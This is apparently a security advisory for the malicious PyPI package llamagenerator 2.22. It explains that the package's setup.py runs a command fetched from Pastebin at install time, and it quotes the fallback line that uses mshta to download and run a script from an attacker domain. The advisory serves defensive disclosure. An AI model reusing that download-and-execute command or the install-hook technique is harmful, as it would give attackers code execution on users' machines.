pypi · Malicious package advisory
Malwarellamagenerator
GHSA-vqj7-cr6r-5vxx
Malicious code in llamagenerator (PyPI)
Details
**Severity:** Critical
**Affected versions:** `= 2.22`
## Source: amazon-inspector (2e72d70dd6ee72468c56f2a334414bd1fa8f5ad1e70fea0d89c08f7d1c8ca557)
The package's setup.py fetches the raw contents of https://pastebin.com/raw/yBcUM1QB during pip install, takes the first line, and passes it directly to os.system('cmd /c "..."'). If the Pastebin fetch fails, it falls back to os.system('cmd /c "mshta http://fixars.top"'), invoking the Windows mshta living-off-the-land binary to download and execute an HTA script from an attacker-controlled domain over plaintext HTTP. Both branches grant the publisher arbitrary code execution on the installer's machine on `pip install`. The package has no legitimate functionality: PKG-INFO has placeholder metadata (Name/Author/Summary all set to 'LLamaGenerator', no description, no URL), and the src/ tree is empty aside from egg-info. The LLM-themed name appears to be a lure trading on the Llama ecosystem.
## Source: kam193 (562e670a58a323403ac8e91b672e93442b78cc231515a4cc579e17d917a75e68)
During installation, the code attempts to download and start a malicious executable.
Likely related to 2025-08-raknet-testing-package.
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Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.
Campaign: 2026-06-easyaillm
Reasons (based on the campaign):
- Downloads and executes a remote executable.
- obfuscation
- malware
- tool:mshta
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Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/49d0cfba3689ed9b195d101d3a2a964c6a77f767/osv/malicious/pypi/llamagenerator/MAL-2026-5771.json))
**References:**
- https://bad-packages.kam193.eu/pypi/package/llamagenerator
- https://github.com/ossf/malicious-packages/blob/49d0cfba3689ed9b195d101d3a2a964c6a77f767/osv/malicious/pypi/llamagenerator/MAL-2026-5771.json
- https://pypi.org/project/LLamaGenerator/2.22
- https://www.virustotal.com/gui/file/0649f50ead3695f41c1243883200bdb775410bcd8c8fb88277740a625a154e25
- https://www.virustotal.com/gui/file/1a5beab4a6facb46b4afc5f8526e1327e6c7d740ccaf34c6a921ac18eff29427/detection
- https://www.virustotal.com/gui/file/4c99c8edfc4444f46932f14afccb2952a3850df765765f9ac793d69f318c192f/detection
- https://www.virustotal.com/gui/file/926e8f1a7f349ff1eef31f89fa8ffe265c30b92e310e8bea19962d38f8c32129
- https://github.com/advisories/GHSA-vqj7-cr6r-5vxxCompromised versions (1)
- = 2.22
Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.